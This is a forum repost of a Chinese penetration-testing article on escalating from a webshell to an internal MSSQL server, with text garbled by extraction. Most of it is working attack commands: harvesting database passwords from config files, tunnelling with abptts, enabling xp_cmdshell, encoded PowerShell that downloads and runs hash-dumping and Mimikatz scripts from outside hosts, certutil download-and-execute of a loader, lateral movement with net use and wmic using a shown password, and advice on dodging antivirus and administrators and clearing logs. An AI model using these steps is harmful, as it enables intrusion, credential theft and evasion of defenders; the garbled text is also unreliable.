搜索

[22060] 2021-06-12_Mssql常规提权

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-12_Mssql常规提权 M s s q l   常 规 提 权 安 全 先 师   L e m o n S e c   2 0 2 1 - 0 6 - 1 2 本 次 环 境 介 绍 ： 本 次 环 境 介 绍 ： 0 x 0 1   首 先 首 先 , 尝 试 搜 集 当 前 机 器 中 的 所 有   s a   密 码   [   先 不 管 它 有 没 有 用 , 习 惯 性 的 撸 过 来 再 说 , 后 续 的 某 个 环 节 中 也 许 就 用 的 到 ] 注 意 ， 如 果 是 你 是 像 我 一 样 注 意 ， 如 果 是 你 是 像 我 一 样 , 直 接 在 菜 刀 终 端 里 这 样 搜 直 接 在 菜 刀 终 端 里 这 样 搜 , 务 必 先 务 必 先 c d 到 目 标 的 到 目 标 的 w e b 目 录 下 目 录 下 , 切 记 切 记 , 不 要 直 接 从 根 路 径 往 下 搜 不 要 直 接 从 根 路 径 往 下 搜 , 等 待 结 果 的 时 间 可 能 会 比 等 待 结 果 的 时 间 可 能 会 比 较 长 较 长 , 菜 刀 会 超 时 菜 刀 会 超 时 , 比 较 烦 比 较 烦 , 或 者 或 者 , 如 果 你 发 现 如 果 你 发 现 w e b 目 录 下 的 站 非 常 多 目 录 下 的 站 非 常 多 , 你 可 以 直 接 把 结 果 重 定 向 到 指 定 文 件 中 也 行 你 可 以 直 接 把 结 果 重 定 向 到 指 定 文 件 中 也 行 目 标   w e b     机 器 名 :     2 0 1 2 p t r B K     基 础 网 络 配 置 :     1 0 . 0 . 0 . 5 / 2 5 5 . 2 5 5 . 2 5 5 . 0 / 1 0 . 0 . 0 . 2 5 4   1 9 2 . 1 6 8 . 1 0 0 . 8 / 2 5 5 . 2 5 5 . 2 5 5 . 0 / 1 9 2 . 1 6 8 . 1 0 0 . 1     在 域 内     可 正 常 通 外 网 目 标 内 网 的 那 台   m s s q l     机 器 名 :     N e w p t r s     基 础 网 络 配 置 :     1 0 . 0 . 0 . 7 / 2 5 5 . 2 5 5 . 2 5 5 . 0 / 1 0 . 0 . 0 . 2 5 4     在 域 内     可 正 常 通 外 网 本 地 机 器     机 器 名 :     P e n t e s t     基 础 网 络 配 置 :     1 9 2 . 1 6 8 . 2 2 0 . 1 2 9     #   d i r   / b   / s   w e b . c o n f i g   > >   t m p s . l o g s #   d e l   t m p s . l o g s   / F
随 后 , 确 认 下 m s s q l 数 据 库 连 接 的 账 号 密 码 字 段 名 [ 如 下 , " U s e r I d = " , " P a s s w o r d = " ] , 因 为 后 续 我 们 需 要 根 据 这 个 字 段 名 来 批 量 撸 s a 的 密 码 [ 在 内 网 快 速 扩 机 器 抓 h a s h 的 一 种 非 常 有 效 的 方 式 ] , 通 常 情 况 下 , 一 台 机 器 的 数 据 库 连 接 账 号 密 码 字 段 名 都 是 相 同 的 再 根 据 上 面 已 知 的 数 据 库 连 接 账 号 密 码 字 段 名 , 我 们 就 可 以 直 接 利 用 f i n d s t r 在 指 定 的 w e b 目 录 下 批 量 抓 取 s a 密 码 [ 如 下 可 以 看 到 , 很 显 然 的 站 库 分 离 , 其 实 对 a s p x 来 讲 , 这 也 再 正 常 不 过 , 遇 到 的 大 多 数 环 境 都 是 如 此 , 但 这 并 不 太 影 响 我 们 后 续 的 实 际 利 用 ]   # t y p e w e b . c o n f i g #   f i n d s t r   / c : " U s e r   I d = "   / c : " P a s s w o r d = "   / s i   w e b . c o n f i g   > >   t m p s . l o g s
接 着 , 再 来 简 单 了 解 下 当 前 机 器 [ 即 , 2 0 1 2 p t r B K ] 的 大 致 信 息 , 比 如 , 用 的 什 么 杀 软 套 装 [   通 常 , 大 部 分 情 况 下 , 一 个 内 网 几 乎 用 的 都 是 同 一 种 防 护 产 品 , 后 期 只 需 针 对 性 的 做 下 免 杀 及 调 试 即 可 , 此 处 用 的   E S E T 6 . x   企 业 杀 毒   ] , 确 认 当 前   w e b s h e l l 权 限 , 很 显 然 此   处 只 是 个 很 低 的   i i s 服 务 权 限 , 再 来 看 下 能 不 能 正 常 通 外 网 [ 通 常 情 况 下 , 边 界 机 器 能 通 , 基 本 就 说 明 内 网 中 的 大 多 数 机 器 应 该 也 都 能 通 [ 此 处 并 不 绝 对 , 很 多 内 网 重 点 机 器 就 是 断 网 的   ] , 最 后 看 下 本 机 的 详 细   i p 配 置 , 主 要 是 借 此 想 了 解 下 当 前 机 器 在 不 在 域 内 , 当 前 机   器 名 及 i p 是 多 少 , 掩 码 有 多 大 [ 根 据 这 个 来 初 步 估 算 内 网 机 器 数 量 规 模 ] , 有 几 个 内 网 段 [ 此 处 暂 时 就 看 到 两 个 标 准 C 段 ] , 对 这 些 基 本 情 况 , 心 里 都 要 大 致 先 有 个 谱   #   f i n d s t r   / c : " U s e r   I d = "   / c : " P a s s w o r d = "   / s i   w e b . c o n f i g   > >   t m p s . l o g s #   f i n d s t r   / c : " U s e r   I d = s a "   / c : " P a s s w o r d = "   / s i   w e b . c o n f i g   > >   t m p s . l o g s 当 然 , 也 可 以 只 抓   s a   的 密 码 , 不 过 个 人 不 太 建 议 这 样 干 , 因 为 会 漏 掉 很 多 其 它 的 账 号 密 码 , 我 们 扩 机 器 的 另 一 个 目 的 其 实 也 是 为 了 不 停 搜 集 密 码 , 直 到 抓 到 我 们 想 要 的 密 码 为 止 #   d e l   t m p s . l o g s   / F #   w h o a m i   / u s e r #   w m i c   p r o d u c t   g e t   n a m e , v e r s i o n #   t a s k l i s t   |   f i n d s t r   / c : " e g u i . e x e "   / c : " e k r n . e x e " #   p i n g   w w w . g i t h u b . c o m #   i p c o n f i g   / a l l
0 x 0 2 其 次 其 次 , 通 过 h t t p 加 密 代 理 [ 你 当 然 也 可 以 用 s o c k s , 但 个 人 建 议 , 没 必 要 ] , 直 接 在 本 地 用 S Q L S e r v e r M a n a g e m e n t S t u d i o 连 到 目 标 内 网 中 指 定 的 m s s q l 上 开 始 之 前 , 先 多 说 几 句 废 话 , 有 些 朋 友 可 能 已 经 习 惯 了 直 接 在 菜 刀 , 大 马 或 者 脚 本 里 面 去 操 作 m s s q l , 在 实 战 中 , 个 人 其 实 并 不 太 建 议 那 样 干 , 因 为 非 常 不 方 便 , 比 如 , 你 后 面 想 要 编 辑 一 些 稍 复 杂 的 后 门 存 储 过 程 时 , 直 接 在 那 里 面 干 是 很 不 现 实 的 , 没 错 , 你 会 说 不 是 还   有 n a v i c a t 吗 , 但 相 比 m s s q l 标 配 的 原 生 m s s q l 客 户 端 [ s t u d i o ] 它 依 然 还 是 坨 屎 , 操 作 依 旧 很 蛋 疼 [ 也 可 能 是 自 己 已 经 习 惯 了 s t u d i o 吧 , 觉 得 它 确 实 非 常 强 大 好 用 , 且 没 有 之 一 ] , 退 一 步 来 讲 , 有 些 脚 本 还 会 被 部 分 a v 查 杀 [ 虽 然 静 态 确 实 很 好 绕 过 , 但 完 全 没 必 要 去 浪 费 那 个 时 间 不 是 吗 ] , 而 且 直 接 通 过 脚 本 执 行 命 令 , 某 些     w a f 也 会 拦 , 实 战 中 , 求 的 往 往 是 稳 而 不 是 花 哨 和 快 , o k , 废 话 不 多 说 , 弟 兄 们 能 明 白 意 思 即 可 , 我 们 来 看 实 际 操 作   首 先 , 上 传 自 己 的 代 理 脚 本 到 目 标 w e b 目 录 下 , 最 好 隐 藏 的 深 一 点 , 此 处 依 然 用 a b p t t s 之 后 , 回 到 本 地 机 器 用 a b p t t s c l i e n t . p y 客 户 端 连 到 上 面 的 代 理 脚 本 , 并 做 如 下 的 转 发 , 即 把 本 地 的 1 4 3 端 口 转 到 目 标 内 网 1 0 . 0 . 0 . 7 机 器 的 1 4 3 3 端 口 上 , 如 下 , 看 到 本 h t t p : / / t a r g e t . c o m / s e s s i o n / S e s A c t i o n s . a s p x
地 的 1 4 3 端 口 处 于 监 听 状 态 , 则 说 明 我 们 的 通 道 此 时 已 基 本 打 通 剩 下 的 事 情 就 很 简 单 了 , 只 需 打 开 本 地 的 S Q L S e r v e r M a n a g e m e n t S t u d i o 再 用 上 面 已 经 抓 到 的 s a 密 码 , 连 到 1 2 7 . 0 . 0 . 1 的 1 4 3 端 口 上 , 即 可 成 功 连 到 目 标 内 网 1 0 . 0 . 0 . 7 机 器 的 m s s q l 上 , 下 一 步 尝 试 启 用 x p _ c m d s h e l l 即 可 0 x 0 3 尝 试 启 用 目 标 尝 试 启 用 目 标 m s s q l 的 的 x p _ c m d s h e l l 启 用 过 程 很 简 单 , 过 程 中 如 果 没 看 到 任 何 返 回 或 者 报 错 提 示 , 则 代 表 启 用 成 功 , 之 后 只 需 用 x p _ c m d s h e l l 去 尝 试 执 行 系 统 命 令 即 可 , 通 过 如 下 简 单 的 机 器 信 息 搜 集 我 们 发 现 , 目 标 此 处 直 接 是 以 内 建 域 管 [ 典 型 的 智 障 ] 权 限 起 的 m s s q l 服 务 , 杀 软 也 跟 起 初 想 的 一 样 , 依   旧 用 的 E S E T 套 装 [ 只 不 过 此 处 不 是 杀 毒 , 而 是 更 加 蛋 疼 的 e f s ] , 目 标 M s s q l 版 本 为 2 0 0 8 r 2 , 既 然 提 到 版 本 , 顺 便 再 多 说 一 点 , 从 2 0 0 8 r 2 之 后 的 m s s q l 版 本 , 如 果 是 全 程 在 默 认 情 况 下 安 装 , 已 不 再 是 a d m i n i s t r a t o r 或 者 s y s t e m , 而 是 一 个 很 低 的 n e t w o r k 权 限   # p y t h o n   a b p t t s c l i e n t . p y   - u   " h t t p : / / t a r g e t . c o m / C o n t r o l / S e s A c t i o n s . a s p x "   - c   s h e l l b o x c o n f i g . t x t   - f 1 2 7 . 0 . 0 . 1 : 1 4 3 / 1 0 . 0 . 0 . 7 : 1 4 3 3 s e l e c t   @ @ v e r s i o n ; e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; r e c o n f i g u r e ;   e x e c   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' , 1 ; r e c o n f i g u r e ; e x e c   m a s t e r . . x p _ c m d s h e l l   ' t a s k l i s t   |   f i n d s t r   / c : " e k r n . e x e "   / c : " e g u i . e x e "   &   w h o a m i   / u s e r ' ;   e x e c   m a s t e r . . x p _ c m d s h e l l   ' w m i c   O S   g e t   C a p t i o n , C S D V e r s i o n , O S A r c h i t e c t u r e , V e r s i o n ' ; e x e c   m a s t e r . . x p _ c m d s h e l l   ' w m i c   p r o d u c t   g e t   n a m e , v e r s i o n ' ;
以 下 , 便 是 我 们 在 操 作 目 标 内 网   m s s q l 时 的 具 体 数 据 收 发 过 程 , 其 实 这 个 动 静 儿 还 是 不 小 的 , 从 网 络 连 接 都 能 看 出 来   接 着 , 再 简 单 看 下 M s s q l 机 器 [ 即 , N e w p t r s 这 台 机 器 ] 最 近 的 登 录 记 录 以 及 能 不 能 正 常 通 外 网 , 主 要 是 为 了 后 续 抓 明 文 和 远 程 加 载 脚 本 做 准 备 , 如 下 , 我 们 看 到 , a d m i n i s t r a t o r 登 录 缓 存 还 在 , p i n g g i t h u b 也 只 是 显 示 超 时 且 能 解 析 出 公 网 i p 而 非 不 可 达 , 说 明 网   络 可 通 , 那 后 续 就 相 对 好 办 了 0 x 0 4 尝 试 直 接 远 程 加 载 尝 试 直 接 远 程 加 载 p s 脚 本 抓 取 内 网 脚 本 抓 取 内 网 1 0 . 0 . 0 . 7 机 器 的 机 器 的 本 地 用 户 密 码 本 地 用 户 密 码 h a s h   为 避 免 一 些 不 必 要 的 麻 烦 , 可 习 惯 性 的 把 p s 先 编 码 下 再 丢 上 去 执 行 , 具 体 下 , 实 测 这 种 抓 h a s h 方 式 , e f s 暂 时 是 不 会 拦 的 e x e c   m a s t e r . . x p _ c m d s h e l l   ' q u e r y   u s e r &   p i n g   w w w . g i t h u b . c o m   - n 5 ' ; P S   C : >   $ t e x t   =   " I E X   ( N e w - O b j e c t  
  如 下 , 便 是 抓 取 到 的 1 0 . 0 . 0 . 7 机 器 的 本 地 用 户 密 码 h a s h 而 后 , 只 需 全 部 复 制 到 本 地 丢 给   G P U 跑 跑 就 行 了 , 至 于 到 底 能 不 能 跑 出 来 , 听 天 由 命 0 x 0 5 尝 试 远 程 加 载 尝 试 远 程 加 载 p s 脚 本 抓 取 内 网 脚 本 抓 取 内 网 1 0 . 0 . 0 . 7 机 器 的 明 文 密 码 机 器 的 明 文 密 码 在 上 面 我 们 了 解 到 , 最 近 有 a d m i n i s t r a t o r 的 登 录 记 录 , 所 以 此 处 就 去 尝 试 抓 下 明 文 , R e a d m e . j p g 其 实 就 是 简 单 混 淆 [ 至 于 具 体 怎 么 静 态 混 淆 , 之 前 的 文 章 中 已 有 详 细 说 明 , 此 处 不 再 赘 述 ] 过 的 i n v o k e - m i m i k a t z . p s 1 N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / k l i o n s e c / C o m m o n T o o l s / m a s t e r / G e t - P a s s H a s h e s . p s 1 ' ) ; G e t - P a s s H a s h e s ; "   P S   C : >   $ B y t e s   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ T e x t ) P S   C : >   $ E n c o d e d T e x t   = [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ B y t e s ) P S   C : >   $ E n c o d e d T e x t   >   b s 6 4 . t x t s q l >   e x e c   m a s t e r . . x p _ c m d s h e l l   ' p o w e r s h e l l   - e x e c   b y p a s s   - e n c o d e d c o m m a n d b s 6 4 . t x t ' ; h t t p : / / t m . o r g / R e a d m e . j p g
依 旧 是 编 码 后 , 丢 上 去 执 行 如 下 , 直 接 抓 到 域 管 的 明 文 密 码 , 特 别 说 明 , 此 处 纯 粹 是 运 气 , 直 接 就 撞 到 了 内 建 域 管 的 明 文 密 码 , 但 , 不 得 不 说 的 是 , 实 战 中 的 大 多 数 情 况 下 , 几 乎 都 不 太 可 能 会 出 现 这 样 的 情 况 , 相 反 , " 找 " 域 管 密 码 的 过 程 , 着 实 让 人 比 较 蛋 疼   0 x 0 6 尝 试 自 定 马 上 线 尝 试 自 定 马 上 线 如 下 可 以 看 到 , 当 我 们 直 接 去 尝 试 执 行 p s 的 b e a c o n 时 e f s 会 直 接 拦 掉 , 不 过 , 话 说 回 来 , 实 战 中 , 我 们 也 不 是 说 一 定 就 非 要 上 c s 才 行 , 离 了 c s 好 像 就 不 能 干 活 儿 了 一 样 , 完 全 不 是 的   P S   C : >   $ t e x t   =   " I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / s r v . t e a m . c o m : 8 0 / R e a d m e . j p g ' ) ;   R e a d m e   - G e t h a s h "   P S   C : >   $ B y t e s   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ T e x t ) P S   C : >   $ E n c o d e d T e x t   = [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ B y t e s ) P S   C : >   $ E n c o d e d T e x t   >   b s 6 4 . t x t
  可 以 直 接 用 自 己 的 马 来 搞 , 这 样 不 仅 能 省 去 很 多 不 必 要 的 麻 烦 [ 比 如 , 免 杀 / 穿 透 的 问 题 ] 也 能 帮 我 们 节 省 大 量 的 时 间 去 专 门 搞 后 渗 透 [ 找 资 料 ] , 此 处 , 是 先 把 马 传 到 w e b 机 器 上 , 再 通 过 w e b 机 器 把 马 推 到 内 网 的 1 0 . 0 . 0 . 7 机 器 上 , 最 后 再 用 w m i c 远 程 执 行 的 , 比 如 ,   内 网 的 m s s q l 机 器 断 网 时 我 们 就 可 以 这 么 干 , 具 体 过 程 d e m o 如 下 , 最 终 的 上 线 效 果 , 就 不 给 大 家 看 了 , 能 理 解 意 思 即 可 , 操 作 过 程 不 太 重 要 其 实 , 如 果 你 的 马 就 时 一 个 免 杀 好 的 单   e x e , 直 接 这 样 一 句 话 远 程 加 载 执 行 反 而 会 更 方 便 些 , 省 得 再 去   n e t u s e   c o p y , w m i c 如 果 非 要 上     c s , 不 妨 好 好 看 看 这 个 , 根 据 提 供 的 思 路 , 再 想 办 法 自 行 深 度 定 制 下 , 无 文 件 , 内 存 加 密 执 行 s h e l l o c d e 0 x 0 8   r d p   利 用 利 用 如 下 , 我 们 看 到 , 1 0 . 0 . 0 . 7     这 台 机 器 的     R d p 默 认 就 已 开 启 且 工 作 在 默 认 端 口 , 此 时 就 没 啥 太 多 好 说 的 了 , 直 接 拿 着 我 们 刚 刚 在 上 面 抓 到 的 明 文 密 码 去 正 常 登 录 即 可 , 登 录 时 间 最 好 选 择 在 目 标 那 边 得 晚 上 或 者 节 假 日 , 下 班 的 时 候 , 尽 量 避 免 撞 见 管 理 员 的 尴 尬 #   n e t   u s e   1 0 . 0 . 0 . 7 a d m i n $   / u s e r : " d e m o a d m i n i s t r a t o r "   " b l a c k C e e e K # $ % ^ 2 3 6 8 " #   c o p y   l o a d e r   1 0 . 0 . 0 . 7 a d m i n $ t e m p #   c o p y   k l s r   1 0 . 0 . 0 . 7 a d m i n $ t e m p #   w m i c   / n o d e : 1 0 . 0 . 0 . 7   / u s e r : " d e m o a d m i n i s t r a t o r "   / p a s s w o r d : " b l a c k C e e e K # $ % ^ 2 3 6 8 "   P R O C E S S   c a l l   c r e a t e   " c : w i n d o w s t e m p l o a d e r   c : w i n d o w s t e m p k l s r " #   d e l   1 0 . 0 . 0 . 7 a d m i n $ t e m p l o a d e r   / F #   d e l   1 0 . 0 . 0 . 7 a d m i n $ t e m p k l s r   / F #   d i r   1 0 . 0 . 0 . 7 a d m i n $ t e m p #   n e t   u s e   1 0 . 0 . 0 . 7 a d m i n $     / d e l s q l >   e x e c   m a s t e r . . x p _ c m d s h e l l   ' c e r t u t i l   - u r l c a c h e   - s p l i t   - f h t t p s : / / * / m a s t e r / s h . t x t   % t e m p % / l o a d . e x e   &   % t e m p % / l o a d . e x e   & c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p s : / / * / m a s t e r / s h . t x t d e l e t e '                                                                                                                                                                             h t t p s : / / g i t h u b . c o m / t w o 0 6 / I n c e p t i o n e x e c   m a s t e r . . x p _ c m d s h e l l   ' n e t s t a t - a n o '
登 录 之 前 , 依 然 还 是 用 a b p t t s 做 下 转 发 , 即 把 本 地 的 3 8 9 转 到 内 网 1 0 . 0 . 0 . 7 机 器 的 3 3 8 9 端 口 上 。 最 终 的 连 接 效 果 , 最 后 , 记 得 顺 手 清 除 连 接 记 录 # p y t h o n   a b p t t s c l i e n t . p y   - u   " h t t p : / / t a r g e t . c o m / S e s A c t i o n s . a s p x "   - c s h e l l b o x c o n f i g . t x t   - f 1 2 7 . 0 . 0 . 1 : 3 8 9 / 1 0 . 0 . 0 . 7 : 3 3 8 9
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理